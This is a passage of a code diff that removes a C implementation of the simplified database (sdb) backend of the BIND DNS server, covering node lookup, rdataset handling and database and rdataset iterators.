-	dns_name_free(&sdb->common.origin, sdb->common.mctx);
-
-	isc_mem_putanddetach(&sdb->common.mctx, sdb, sizeof(dns_sdb_t));
-}
-
-static void
-detach(dns_db_t **dbp) {
-	dns_sdb_t *sdb = (dns_sdb_t *)(*dbp);
-
-	REQUIRE(VALID_SDB(sdb));
-
-	*dbp = NULL;
-
-	if (isc_refcount_decrement(&sdb->references) == 1) {
-		destroy(sdb);
-	}
-}
-
-static isc_result_t
-beginload(dns_db_t *db, dns_rdatacallbacks_t *callbacks) {
-	UNUSED(db);
-	UNUSED(callbacks);
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
-static isc_result_t
-endload(dns_db_t *db, dns_rdatacallbacks_t *callbacks) {
-	UNUSED(db);
-	UNUSED(callbacks);
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
-static isc_result_t
-dump(dns_db_t *db, dns_dbversion_t *version, const char *filename,
-     dns_masterformat_t masterformat) {
-	UNUSED(db);
-	UNUSED(version);
-	UNUSED(filename);
-	UNUSED(masterformat);
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
-static void
-currentversion(dns_db_t *db, dns_dbversion_t **versionp) {
-	REQUIRE(versionp != NULL && *versionp == NULL);
-
-	UNUSED(db);
-
-	*versionp = (void *)&dummy;
-	return;
-}
-
-static isc_result_t
-newversion(dns_db_t *db, dns_dbversion_t **versionp) {
-	UNUSED(db);
-	UNUSED(versionp);
-
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
-static void
-attachversion(dns_db_t *db, dns_dbversion_t *source,
-	      dns_dbversion_t **targetp) {
-	REQUIRE(source != NULL && source == (void *)&dummy);
-	REQUIRE(targetp != NULL && *targetp == NULL);
-
-	UNUSED(db);
-	*targetp = source;
-	return;
-}
-
-static void
-closeversion(dns_db_t *db, dns_dbversion_t **versionp, bool commit) {
-	REQUIRE(versionp != NULL && *versionp == (void *)&dummy);
-	REQUIRE(!commit);
-
-	UNUSED(db);
-	UNUSED(commit);
-
-	*versionp = NULL;
-}
-
-static isc_result_t
-createnode(dns_sdb_t *sdb, dns_sdbnode_t **nodep) {
-	dns_sdbnode_t *node;
-
-	node = isc_mem_get(sdb->common.mctx, sizeof(dns_sdbnode_t));
-
-	node->sdb = NULL;
-	attach((dns_db_t *)sdb, (dns_db_t **)&node->sdb);
-	ISC_LIST_INIT(node->lists);
-	ISC_LIST_INIT(node->buffers);
-	ISC_LINK_INIT(node, link);
-	node->name = NULL;
-	dns_rdatacallbacks_init(&node->callbacks);
-
-	isc_refcount_init(&node->references, 1);
-
-	node->magic = SDBLOOKUP_MAGIC;
-
-	*nodep = node;
-	return (ISC_R_SUCCESS);
-}
-
-static void
-destroynode(dns_sdbnode_t *node) {
-	dns_rdatalist_t *list;
-	dns_rdata_t *rdata;
-	isc_buffer_t *b;
-	dns_sdb_t *sdb;
-	isc_mem_t *mctx;
-
-	sdb = node->sdb;
-	mctx = sdb->common.mctx;
-
-	while (!ISC_LIST_EMPTY(node->lists)) {
-		list = ISC_LIST_HEAD(node->lists);
-		while (!ISC_LIST_EMPTY(list->rdata)) {
-			rdata = ISC_LIST_HEAD(list->rdata);
-			ISC_LIST_UNLINK(list->rdata, rdata, link);
-			isc_mem_put(mctx, rdata, sizeof(dns_rdata_t));
-		}
-		ISC_LIST_UNLINK(node->lists, list, link);
-		isc_mem_put(mctx, list, sizeof(dns_rdatalist_t));
-	}
-
-	while (!ISC_LIST_EMPTY(node->buffers)) {
-		b = ISC_LIST_HEAD(node->buffers);
-		ISC_LIST_UNLINK(node->buffers, b, link);
-		isc_buffer_free(&b);
-	}
-
-	if (node->name != NULL) {
-		dns_name_free(node->name, mctx);
-		isc_mem_put(mctx, node->name, sizeof(dns_name_t));
-	}
-
-	node->magic = 0;
-	isc_mem_put(mctx, node, sizeof(dns_sdbnode_t));
-	detach((dns_db_t **)(void *)&sdb);
-}
-
-static isc_result_t
-getoriginnode(dns_db_t *db, dns_dbnode_t **nodep) {
-	dns_sdb_t *sdb = (dns_sdb_t *)db;
-	dns_sdbnode_t *node = NULL;
-	isc_result_t result;
-	isc_buffer_t b;
-	char namestr[DNS_NAME_MAXTEXT + 1];
-	dns_sdbimplementation_t *imp;
-	dns_name_t relname;
-	dns_name_t *name;
-
-	REQUIRE(VALID_SDB(sdb));
-	REQUIRE(nodep != NULL && *nodep == NULL);
-
-	imp = sdb->implementation;
-	name = &sdb->common.origin;
-
-	if (imp->methods->lookup2 != NULL) {
-		if ((imp->flags & DNS_SDBFLAG_RELATIVEOWNER) != 0) {
-			dns_name_init(&relname, NULL);
-			name = &relname;
-		}
-	} else {
-		isc_buffer_init(&b, namestr, sizeof(namestr));
-		if ((imp->flags & DNS_SDBFLAG_RELATIVEOWNER) != 0) {
-			dns_name_init(&relname, NULL);
-			result = dns_name_totext(&relname, true, &b);
-			if (result != ISC_R_SUCCESS) {
-				return (result);
-			}
-		} else {
-			result = dns_name_totext(name, true, &b);
-			if (result != ISC_R_SUCCESS) {
-				return (result);
-			}
-		}
-		isc_buffer_putuint8(&b, 0);
-	}
-
-	result = createnode(sdb, &node);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	MAYBE_LOCK(sdb);
-	if (imp->methods->lookup2 != NULL) {
-		result = imp->methods->lookup2(&sdb->common.origin, name,
-					       sdb->dbdata, node, NULL, NULL);
-	} else {
-		result = imp->methods->lookup(sdb->zone, namestr, sdb->dbdata,
-					      node, NULL, NULL);
-	}
-	MAYBE_UNLOCK(sdb);
-	if (result != ISC_R_SUCCESS &&
-	    !(result == ISC_R_NOTFOUND && imp->methods->authority != NULL))
-	{
-		destroynode(node);
-		return (result);
-	}
-
-	if (imp->methods->authority != NULL) {
-		MAYBE_LOCK(sdb);
-		result = imp->methods->authority(sdb->zone, sdb->dbdata, node);
-		MAYBE_UNLOCK(sdb);
-		if (result != ISC_R_SUCCESS) {
-			destroynode(node);
-			return (result);
-		}
-	}
-
-	*nodep = node;
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-findnodeext(dns_db_t *db, const dns_name_t *name, bool create,
-	    dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo,
-	    dns_dbnode_t **nodep) {
-	dns_sdb_t *sdb = (dns_sdb_t *)db;
-	dns_sdbnode_t *node = NULL;
-	isc_result_t result;
-	isc_buffer_t b;
-	char namestr[DNS_NAME_MAXTEXT + 1];
-	bool isorigin;
-	dns_sdbimplementation_t *imp;
-	dns_name_t relname;
-	unsigned int labels;
-
-	REQUIRE(VALID_SDB(sdb));
-	REQUIRE(nodep != NULL && *nodep == NULL);
-
-	UNUSED(name);
-	UNUSED(create);
-
-	imp = sdb->implementation;
-
-	isorigin = dns_name_equal(name, &sdb->common.origin);
-
-	if (imp->methods->lookup2 != NULL) {
-		if ((imp->flags & DNS_SDBFLAG_RELATIVEOWNER) != 0) {
-			labels = dns_name_countlabels(name) -
-				 dns_name_countlabels(&db->origin);
-			dns_name_init(&relname, NULL);
-			dns_name_getlabelsequence(name, 0, labels, &relname);
-			name = &relname;
-		}
-	} else {
-		isc_buffer_init(&b, namestr, sizeof(namestr));
-		if ((imp->flags & DNS_SDBFLAG_RELATIVEOWNER) != 0) {
-			labels = dns_name_countlabels(name) -
-				 dns_name_countlabels(&db->origin);
-			dns_name_init(&relname, NULL);
-			dns_name_getlabelsequence(name, 0, labels, &relname);
-			result = dns_name_totext(&relname, true, &b);
-			if (result != ISC_R_SUCCESS) {
-				return (result);
-			}
-		} else {
-			result = dns_name_totext(name, true, &b);
-			if (result != ISC_R_SUCCESS) {
-				return (result);
-			}
-		}
-		isc_buffer_putuint8(&b, 0);
-	}
-
-	result = createnode(sdb, &node);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	MAYBE_LOCK(sdb);
-	if (imp->methods->lookup2 != NULL) {
-		result = imp->methods->lookup2(&sdb->common.origin, name,
-					       sdb->dbdata, node, methods,
-					       clientinfo);
-	} else {
-		result = imp->methods->lookup(sdb->zone, namestr, sdb->dbdata,
-					      node, methods, clientinfo);
-	}
-	MAYBE_UNLOCK(sdb);
-	if (result != ISC_R_SUCCESS && !(result == ISC_R_NOTFOUND && isorigin &&
-					 imp->methods->authority != NULL))
-	{
-		destroynode(node);
-		return (result);
-	}
-
-	if (isorigin && imp->methods->authority != NULL) {
-		MAYBE_LOCK(sdb);
-		result = imp->methods->authority(sdb->zone, sdb->dbdata, node);
-		MAYBE_UNLOCK(sdb);
-		if (result != ISC_R_SUCCESS) {
-			destroynode(node);
-			return (result);
-		}
-	}
-
-	*nodep = node;
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
-	dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
-	dns_dbnode_t **nodep, dns_name_t *foundname,
-	dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo,
-	dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
-	dns_sdb_t *sdb = (dns_sdb_t *)db;
-	dns_dbnode_t *node = NULL;
-	dns_fixedname_t fname;
-	dns_rdataset_t xrdataset;
-	dns_name_t *xname;
-	unsigned int nlabels, olabels;
-	isc_result_t result;
-	unsigned int i;
-	unsigned int flags;
-
-	REQUIRE(VALID_SDB(sdb));
-	REQUIRE(nodep == NULL || *nodep == NULL);
-	REQUIRE(version == NULL || version == (void *)&dummy);
-
-	UNUSED(options);
-
-	if (!dns_name_issubdomain(name, &db->origin)) {
-		return (DNS_R_NXDOMAIN);
-	}
-
-	olabels = dns_name_countlabels(&db->origin);
-	nlabels = dns_name_countlabels(name);
-
-	xname = dns_fixedname_initname(&fname);
-
-	if (rdataset == NULL) {
-		dns_rdataset_init(&xrdataset);
-		rdataset = &xrdataset;
-	}
-
-	result = DNS_R_NXDOMAIN;
-	flags = sdb->implementation->flags;
-	i = (flags & DNS_SDBFLAG_DNS64) != 0 ? nlabels : olabels;
-	for (; i <= nlabels; i++) {
-		/*
-		 * Look up the next label.
-		 */
-		dns_name_getlabelsequence(name, nlabels - i, i, xname);
-		result = findnodeext(db, xname, false, methods, clientinfo,
-				     &node);
-		if (result == ISC_R_NOTFOUND) {
-			/*
-			 * No data at zone apex?
-			 */
-			if (i == olabels) {
-				return (DNS_R_BADDB);
-			}
-			result = DNS_R_NXDOMAIN;
-			continue;
-		}
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-
-		/*
-		 * DNS64 zone's don't have DNAME or NS records.
-		 */
-		if ((flags & DNS_SDBFLAG_DNS64) != 0) {
-			goto skip;
-		}
-
-		/*
-		 * DNS64 zone's don't have DNAME or NS records.
-		 */
-		if ((flags & DNS_SDBFLAG_DNS64) != 0) {
-			goto skip;
-		}
-
-		/*
-		 * Look for a DNAME at the current label, unless this is
-		 * the qname.
-		 */
-		if (i < nlabels) {
-			result = findrdataset(db, node, version,
-					      dns_rdatatype_dname, 0, now,
-					      rdataset, sigrdataset);
-			if (result == ISC_R_SUCCESS) {
-				result = DNS_R_DNAME;
-				break;
-			}
-		}
-
-		/*
-		 * Look for an NS at the current label, unless this is the
-		 * origin or glue is ok.
-		 */
-		if (i != olabels && (options & DNS_DBFIND_GLUEOK) == 0) {
-			result = findrdataset(db, node, version,
-					      dns_rdatatype_ns, 0, now,
-					      rdataset, sigrdataset);
-			if (result == ISC_R_SUCCESS) {
-				if (i == nlabels && type == dns_rdatatype_any) {
-					result = DNS_R_ZONECUT;
-					dns_rdataset_disassociate(rdataset);
-					if (sigrdataset != NULL &&
-					    dns_rdataset_isassociated(
-						    sigrdataset)) {
-						dns_rdataset_disassociate(
-							sigrdataset);
-					}
-				} else {
-					result = DNS_R_DELEGATION;
-				}
-				break;
-			}
-		}
-
-		/*
-		 * If the current name is not the qname, add another label
-		 * and try again.
-		 */
-		if (i < nlabels) {
-			destroynode(node);
-			node = NULL;
-			continue;
-		}
-
-	skip:
-		/*
-		 * If we're looking for ANY, we're done.
-		 */
-		if (type == dns_rdatatype_any) {
-			result = ISC_R_SUCCESS;
-			break;
-		}
-
-		/*
-		 * Look for the qtype.
-		 */
-		result = findrdataset(db, node, version, type, 0, now, rdataset,
-				      sigrdataset);
-		if (result == ISC_R_SUCCESS) {
-			break;
-		}
-
-		/*
-		 * Look for a CNAME
-		 */
-		if (type != dns_rdatatype_cname) {
-			result = findrdataset(db, node, version,
-					      dns_rdatatype_cname, 0, now,
-					      rdataset, sigrdataset);
-			if (result == ISC_R_SUCCESS) {
-				result = DNS_R_CNAME;
-				break;
-			}
-		}
-
-		result = DNS_R_NXRRSET;
-		break;
-	}
-
-	if (rdataset == &xrdataset && dns_rdataset_isassociated(rdataset)) {
-		dns_rdataset_disassociate(rdataset);
-	}
-
-	if (foundname != NULL) {
-		dns_name_copy(xname, foundname);
-	}
-
-	if (nodep != NULL) {
-		*nodep = node;
-	} else if (node != NULL) {
-		detachnode(db, &node);
-	}
-
-	return (result);
-}
-
-static isc_result_t
-findzonecut(dns_db_t *db, const dns_name_t *name, unsigned int options,
-	    isc_stdtime_t now, dns_dbnode_t **nodep, dns_name_t *foundname,
-	    dns_name_t *dcname, dns_rdataset_t *rdataset,
-	    dns_rdataset_t *sigrdataset) {
-	UNUSED(db);
-	UNUSED(name);
-	UNUSED(options);
-	UNUSED(now);
-	UNUSED(nodep);
-	UNUSED(foundname);
-	UNUSED(dcname);
-	UNUSED(rdataset);
-	UNUSED(sigrdataset);
-
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
-static void
-attachnode(dns_db_t *db, dns_dbnode_t *source, dns_dbnode_t **targetp) {
-	dns_sdb_t *sdb = (dns_sdb_t *)db;
-	dns_sdbnode_t *node = (dns_sdbnode_t *)source;
-
-	REQUIRE(VALID_SDB(sdb));
-
-	UNUSED(sdb);
-
-	isc_refcount_increment(&node->references);
-
-	*targetp = source;
-}
-
-static void
-detachnode(dns_db_t *db, dns_dbnode_t **targetp) {
-	dns_sdb_t *sdb = (dns_sdb_t *)db;
-	dns_sdbnode_t *node;
-
-	REQUIRE(VALID_SDB(sdb));
-	REQUIRE(targetp != NULL && *targetp != NULL);
-
-	UNUSED(sdb);
-
-	node = (dns_sdbnode_t *)(*targetp);
-
-	*targetp = NULL;
-
-	if (isc_refcount_decrement(&node->references) == 1) {
-		destroynode(node);
-	}
-}
-
-static isc_result_t
-expirenode(dns_db_t *db, dns_dbnode_t *node, isc_stdtime_t now) {
-	UNUSED(db);
-	UNUSED(node);
-	UNUSED(now);
-	INSIST(0);
-	ISC_UNREACHABLE();
-}
-
-static void
-printnode(dns_db_t *db, dns_dbnode_t *node, FILE *out) {
-	UNUSED(db);
-	UNUSED(node);
-	UNUSED(out);
-	return;
-}
-
-static isc_result_t
-createiterator(dns_db_t *db, unsigned int options,
-	       dns_dbiterator_t **iteratorp) {
-	dns_sdb_t *sdb = (dns_sdb_t *)db;
-	REQUIRE(VALID_SDB(sdb));
-
-	sdb_dbiterator_t *sdbiter;
-	isc_result_t result;
-	dns_sdbimplementation_t *imp = sdb->implementation;
-
-	if (imp->methods->allnodes == NULL) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-
-	if ((options & DNS_DB_NSEC3ONLY) != 0 ||
-	    (options & DNS_DB_NONSEC3) != 0) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-
-	sdbiter = isc_mem_get(sdb->common.mctx, sizeof(sdb_dbiterator_t));
-
-	sdbiter->common.methods = &dbiterator_methods;
-	sdbiter->common.db = NULL;
-	dns_db_attach(db, &sdbiter->common.db);
-	sdbiter->common.relative_names = ((options & DNS_DB_RELATIVENAMES) !=
-					  0);
-	sdbiter->common.magic = DNS_DBITERATOR_MAGIC;
-	ISC_LIST_INIT(sdbiter->nodelist);
-	sdbiter->current = NULL;
-	sdbiter->origin = NULL;
-
-	MAYBE_LOCK(sdb);
-	result = imp->methods->allnodes(sdb->zone, sdb->dbdata, sdbiter);
-	MAYBE_UNLOCK(sdb);
-	if (result != ISC_R_SUCCESS) {
-		dbiterator_destroy((dns_dbiterator_t **)(void *)&sdbiter);
-		return (result);
-	}
-
-	if (sdbiter->origin != NULL) {
-		ISC_LIST_UNLINK(sdbiter->nodelist, sdbiter->origin, link);
-		ISC_LIST_PREPEND(sdbiter->nodelist, sdbiter->origin, link);
-	}
-
-	*iteratorp = (dns_dbiterator_t *)sdbiter;
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-	     dns_rdatatype_t type, dns_rdatatype_t covers, isc_stdtime_t now,
-	     dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
-	REQUIRE(VALID_SDBNODE(node));
-
-	dns_rdatalist_t *list;
-	dns_sdbnode_t *sdbnode = (dns_sdbnode_t *)node;
-
-	UNUSED(db);
-	UNUSED(version);
-	UNUSED(covers);
-	UNUSED(now);
-	UNUSED(sigrdataset);
-
-	if (type == dns_rdatatype_rrsig) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-
-	list = ISC_LIST_HEAD(sdbnode->lists);
-	while (list != NULL) {
-		if (list->type == type) {
-			break;
-		}
-		list = ISC_LIST_NEXT(list, link);
-	}
-	if (list == NULL) {
-		return (ISC_R_NOTFOUND);
-	}
-
-	list_tordataset(list, db, node, rdataset);
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-	     isc_stdtime_t now, dns_rdatasetiter_t **iteratorp) {
-	sdb_rdatasetiter_t *iterator;
-
-	REQUIRE(version == NULL || version == &dummy);
-
-	UNUSED(version);
-	UNUSED(now);
-
-	iterator = isc_mem_get(db->mctx, sizeof(sdb_rdatasetiter_t));
-
-	iterator->common.magic = DNS_RDATASETITER_MAGIC;
-	iterator->common.methods = &rdatasetiter_methods;
-	iterator->common.db = db;
-	iterator->common.node = NULL;
-	attachnode(db, node, &iterator->common.node);
-	iterator->common.version = version;
-	iterator->common.now = now;
-
-	*iteratorp = (dns_rdatasetiter_t *)iterator;
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-addrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-	    isc_stdtime_t now, dns_rdataset_t *rdataset, unsigned int options,
-	    dns_rdataset_t *addedrdataset) {
-	UNUSED(db);
-	UNUSED(node);
-	UNUSED(version);
-	UNUSED(now);
-	UNUSED(rdataset);
-	UNUSED(options);
-	UNUSED(addedrdataset);
-
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
-static isc_result_t
-subtractrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-		 dns_rdataset_t *rdataset, unsigned int options,
-		 dns_rdataset_t *newrdataset) {
-	UNUSED(db);
-	UNUSED(node);
-	UNUSED(version);
-	UNUSED(rdataset);
-	UNUSED(options);
-	UNUSED(newrdataset);
-
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
-static isc_result_t
-deleterdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-	       dns_rdatatype_t type, dns_rdatatype_t covers) {
-	UNUSED(db);
-	UNUSED(node);
-	UNUSED(version);
-	UNUSED(type);
-	UNUSED(covers);
-
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
-static bool
-issecure(dns_db_t *db) {
-	UNUSED(db);
-
-	return (false);
-}
-
-static unsigned int
-nodecount(dns_db_t *db) {
-	UNUSED(db);
-
-	return (0);
-}
-
-static bool
-ispersistent(dns_db_t *db) {
-	UNUSED(db);
-	return (true);
-}
-
-static void
-overmem(dns_db_t *db, bool over) {
-	UNUSED(db);
-	UNUSED(over);
-}
-
-static void
-settask(dns_db_t *db, isc_task_t *task) {
-	UNUSED(db);
-	UNUSED(task);
-}
-
-static dns_dbmethods_t sdb_methods = {
-	attach,
-	detach,
-	beginload,
-	endload,
-	NULL, /* serialize */
-	dump,
-	currentversion,
-	newversion,
-	attachversion,
-	closeversion,
-	NULL, /* findnode */
-	NULL, /* find */
-	findzonecut,
-	attachnode,
-	detachnode,
-	expirenode,
-	printnode,
-	createiterator,
-	findrdataset,
-	allrdatasets,
-	addrdataset,
-	subtractrdataset,
-	deleterdataset,
-	issecure,
-	nodecount,
-	ispersistent,
-	overmem,
-	settask,
-	getoriginnode, /* getoriginnode */
-	NULL,	       /* transfernode */
-	NULL,	       /* getnsec3parameters */
-	NULL,	       /* findnsec3node */
-	NULL,	       /* setsigningtime */
-	NULL,	       /* getsigningtime */
-	NULL,	       /* resigned */
-	NULL,	       /* isdnssec */
-	NULL,	       /* getrrsetstats */
-	NULL,	       /* rpz_attach */
-	NULL,	       /* rpz_ready */
-	findnodeext,
-	findext,
-	NULL, /* setcachestats */
-	NULL, /* hashsize */
-	NULL, /* nodefullname */
-	NULL, /* getsize */
-	NULL, /* setservestalettl */
-	NULL, /* getservestalettl */
-	NULL, /* setservestalerefresh */
-	NULL, /* getservestalerefresh */
-	NULL, /* setgluecachestats */
-	NULL  /* adjusthashsize */
-};
-
-static isc_result_t
-dns_sdb_create(isc_mem_t *mctx, const dns_name_t *origin, dns_dbtype_t type,
-	       dns_rdataclass_t rdclass, unsigned int argc, char *argv[],
-	       void *driverarg, dns_db_t **dbp) {
-	dns_sdb_t *sdb;
-	isc_result_t result;
-	char zonestr[DNS_NAME_MAXTEXT + 1];
-	isc_buffer_t b;
-	dns_sdbimplementation_t *imp;
-
-	REQUIRE(driverarg != NULL);
-
-	imp = driverarg;
-
-	if (type != dns_dbtype_zone) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-
-	sdb = isc_mem_get(mctx, sizeof(dns_sdb_t));
-	memset(sdb, 0, sizeof(dns_sdb_t));
-
-	dns_name_init(&sdb->common.origin, NULL);
-	sdb->common.attributes = 0;
-	sdb->common.methods = &sdb_methods;
-	sdb->common.rdclass = rdclass;
-	sdb->common.mctx = NULL;
-	sdb->implementation = imp;
-
-	isc_mem_attach(mctx, &sdb->common.mctx);
-
-	result = dns_name_dupwithoffsets(origin, mctx, &sdb->common.origin);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_lock;
-	}
-
-	isc_buffer_init(&b, zonestr, sizeof(zonestr));
-	result = dns_name_totext(origin, true, &b);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_origin;
-	}
-	isc_buffer_putuint8(&b, 0);
-
-	sdb->zone = isc_mem_strdup(mctx, zonestr);
-
-	sdb->dbdata = NULL;
-	if (imp->methods->create != NULL) {
-		MAYBE_LOCK(sdb);
-		result = imp->methods->create(sdb->zone, argc, argv,
-					      imp->driverdata, &sdb->dbdata);
-		MAYBE_UNLOCK(sdb);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup_zonestr;
-		}
-	}
-
-	isc_refcount_init(&sdb->references, 1);
-
-	sdb->common.magic = DNS_DB_MAGIC;
-	sdb->common.impmagic = SDB_MAGIC;
-
-	*dbp = (dns_db_t *)sdb;
-
-	return (ISC_R_SUCCESS);
-
-cleanup_zonestr:
-	isc_mem_free(mctx, sdb->zone);
-cleanup_origin:
-	dns_name_free(&sdb->common.origin, mctx);
-cleanup_lock:
-	isc_mem_putanddetach(&mctx, sdb, sizeof(dns_sdb_t));
-
-	return (result);
-}
-
-/*
- * Rdataset Methods
- */
-
-static void
-disassociate(dns_rdataset_t *rdataset) {
-	dns_dbnode_t *node = rdataset->private5;
-	dns_sdbnode_t *sdbnode = (dns_sdbnode_t *)node;
-	dns_db_t *db = (dns_db_t *)sdbnode->sdb;
-
-	detachnode(db, &node);
-	isc__rdatalist_disassociate(rdataset);
-}
-
-static void
-rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target) {
-	dns_dbnode_t *node = source->private5;
-	dns_sdbnode_t *sdbnode = (dns_sdbnode_t *)node;
-	dns_db_t *db = (dns_db_t *)sdbnode->sdb;
-	dns_dbnode_t *tempdb = NULL;
-
-	isc__rdatalist_clone(source, target);
-	attachnode(db, node, &tempdb);
-	source->private5 = tempdb;
-}
-
-static dns_rdatasetmethods_t sdb_rdataset_methods = {
-	disassociate,
-	isc__rdatalist_first,
-	isc__rdatalist_next,
-	isc__rdatalist_current,
-	rdataset_clone,
-	isc__rdatalist_count,
-	isc__rdatalist_addnoqname,
-	isc__rdatalist_getnoqname,
-	NULL, /* addclosest */
-	NULL, /* getclosest */
-	NULL, /* settrust */
-	NULL, /* expire */
-	NULL, /* clearprefetch */
-	NULL, /* setownercase */
-	NULL, /* getownercase */
-	NULL  /* addglue */
-};
-
-static void
-list_tordataset(dns_rdatalist_t *rdatalist, dns_db_t *db, dns_dbnode_t *node,
-		dns_rdataset_t *rdataset) {
-	/*
-	 * The sdb rdataset is an rdatalist with some additions.
-	 *	- private1 & private2 are used by the rdatalist.
-	 *	- private3 & private 4 are unused.
-	 *	- private5 is the node.
-	 */
-
-	/* This should never fail. */
-	RUNTIME_CHECK(dns_rdatalist_tordataset(rdatalist, rdataset) ==
-		      ISC_R_SUCCESS);
-
-	rdataset->methods = &sdb_rdataset_methods;
-	dns_db_attachnode(db, node, &rdataset->private5);
-}
-
-/*
- * Database Iterator Methods
- */
-static void
-dbiterator_destroy(dns_dbiterator_t **iteratorp) {
-	sdb_dbiterator_t *sdbiter = (sdb_dbiterator_t *)(*iteratorp);
-	dns_sdb_t *sdb = (dns_sdb_t *)sdbiter->common.db;
-
-	while (!ISC_LIST_EMPTY(sdbiter->nodelist)) {
-		dns_sdbnode_t *node;
-		node = ISC_LIST_HEAD(sdbiter->nodelist);
-		ISC_LIST_UNLINK(sdbiter->nodelist, node, link);
-		destroynode(node);
-	}
-
-	dns_db_detach(&sdbiter->common.db);
-	isc_mem_put(sdb->common.mctx, sdbiter, sizeof(sdb_dbiterator_t));
-
-	*iteratorp = NULL;
-}
-
-static isc_result_t
-dbiterator_first(dns_dbiterator_t *iterator) {
-	sdb_dbiterator_t *sdbiter = (sdb_dbiterator_t *)iterator;
-
-	sdbiter->current = ISC_LIST_HEAD(sdbiter->nodelist);
-	if (sdbiter->current == NULL) {
-		return (ISC_R_NOMORE);
-	} else {
-		return (ISC_R_SUCCESS);
-	}
-}
-
-static isc_result_t
-dbiterator_last(dns_dbiterator_t *iterator) {
-	sdb_dbiterator_t *sdbiter = (sdb_dbiterator_t *)iterator;
-
-	sdbiter->current = ISC_LIST_TAIL(sdbiter->nodelist);
-	if (sdbiter->current == NULL) {
-		return (ISC_R_NOMORE);
-	} else {
-		return (ISC_R_SUCCESS);
-	}
-}
-
-static isc_result_t
-dbiterator_seek(dns_dbiterator_t *iterator, const dns_name_t *name) {
-	sdb_dbiterator_t *sdbiter = (sdb_dbiterator_t *)iterator;
-
-	sdbiter->current = ISC_LIST_HEAD(sdbiter->nodelist);
-	while (sdbiter->current != NULL) {
-		if (dns_name_equal(sdbiter->current->name, name)) {
-			return (ISC_R_SUCCESS);
-		}
-		sdbiter->current = ISC_LIST_NEXT(sdbiter->current, link);
-	}
-	return (ISC_R_NOTFOUND);
-}
-
-static isc_result_t
-dbiterator_prev(dns_dbiterator_t *iterator) {
-	sdb_dbiterator_t *sdbiter = (sdb_dbiterator_t *)iterator;
-
-	sdbiter->current = ISC_LIST_PREV(sdbiter->current, link);
-	if (sdbiter->current == NULL) {
-		return (ISC_R_NOMORE);
-	} else {
-		return (ISC_R_SUCCESS);
-	}
-}
-
-static isc_result_t
-dbiterator_next(dns_dbiterator_t *iterator) {
-	sdb_dbiterator_t *sdbiter = (sdb_dbiterator_t *)iterator;
-
-	sdbiter->current = ISC_LIST_NEXT(sdbiter->current, link);
-	if (sdbiter->current == NULL) {
-		return (ISC_R_NOMORE);
-	} else {
-		return (ISC_R_SUCCESS);
-	}
-}
-
-static isc_result_t
-dbiterator_current(dns_dbiterator_t *iterator, dns_dbnode_t **nodep,
-		   dns_name_t *name) {
-	sdb_dbiterator_t *sdbiter = (sdb_dbiterator_t *)iterator;
-
-	attachnode(iterator->db, sdbiter->current, nodep);
-	if (name != NULL) {
-		dns_name_copy(sdbiter->current->name, name);
-		return (ISC_R_SUCCESS);
-	}
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-dbiterator_pause(dns_dbiterator_t *iterator) {
-	UNUSED(iterator);
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-dbiterator_origin(dns_dbiterator_t *iterator, dns_name_t *name) {
-	UNUSED(iterator);
-	dns_name_copy(dns_rootname, name);
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * Rdataset Iterator Methods
- */
-
-static void
-rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp) {
-	sdb_rdatasetiter_t *sdbiterator = (sdb_rdatasetiter_t *)(*iteratorp);
-	detachnode(sdbiterator->common.db, &sdbiterator->common.node);
-	isc_mem_put(sdbiterator->common.db->mctx, sdbiterator,
-		    sizeof(sdb_rdatasetiter_t));
-	*iteratorp = NULL;
-}
-
-static isc_result_t
-rdatasetiter_first(dns_rdatasetiter_t *iterator) {
-	sdb_rdatasetiter_t *sdbiterator = (sdb_rdatasetiter_t *)iterator;
-	dns_sdbnode_t *sdbnode = (dns_sdbnode_t *)iterator->node;
-
-	if (ISC_LIST_EMPTY(sdbnode->lists)) {
-		return (ISC_R_NOMORE);
-	}
-	sdbiterator->current = ISC_LIST_HEAD(sdbnode->lists);
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-rdatasetiter_next(dns_rdatasetiter_t *iterator) {
-	sdb_rdatasetiter_t *sdbiterator = (sdb_rdatasetiter_t *)iterator;
-
-	sdbiterator->current = ISC_LIST_NEXT(sdbiterator->current, link);
-	if (sdbiterator->current == NULL) {
-		return (ISC_R_NOMORE);
-	} else {
-		return (ISC_R_SUCCESS);
